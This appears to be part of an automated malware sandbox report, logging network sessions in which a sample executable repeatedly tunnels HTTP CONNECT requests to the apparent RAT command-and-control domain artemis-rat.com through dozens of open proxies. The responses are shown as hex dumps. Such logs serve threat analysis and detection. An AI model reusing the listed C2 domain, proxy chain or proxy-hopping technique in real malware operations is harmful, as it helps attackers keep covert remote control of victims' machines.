Mar 11, 2024 03:30:38.948542118 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.5	50823	104.17.171.235	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.795819998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.954982042 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.5	50666	37.235.48.19	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.796717882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.5	50826	104.17.166.210	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.797494888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.955715895 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.5	50053	208.87.131.240	41368	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.801661968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.811242104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.811671972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.852344036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.5	50677	144.76.96.180	5566	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.803747892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.112215042 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.5	50698	94.23.220.136	25256	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.805360079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.482949972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.436109066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.389678001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.202553034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.092782974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905155897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.592736006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.5	50837	162.159.242.10	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.838001966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.998965979 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.5	50699	51.79.240.94	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.838001966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.545456886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.561085939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.635730028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.702657938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.852288961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.5	50852	23.227.38.230	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.838054895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.992464066 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.5	50668	185.250.27.54	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.838179111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.561068058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.969841957 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.5	50715	5.196.111.30	20060	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.838895082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.5	50842	104.25.194.175	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.838900089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.993407011 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.5	50631	103.190.54.141	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.839229107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.5	50839	165.227.0.192	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.840991974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.311052084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.858042002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.951723099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.217643023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.505887032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.797264099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.217742920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:01.014370918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.5	50843	65.49.38.202	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.843519926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:16.886677980 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:19.910579920 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:26.118601084 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:31:38.407006025 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:32:02.471137047 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.5	50755	147.75.34.83	10006	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.845004082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.150233984 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.5	50722	120.78.191.68	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.846055984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.180461884 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 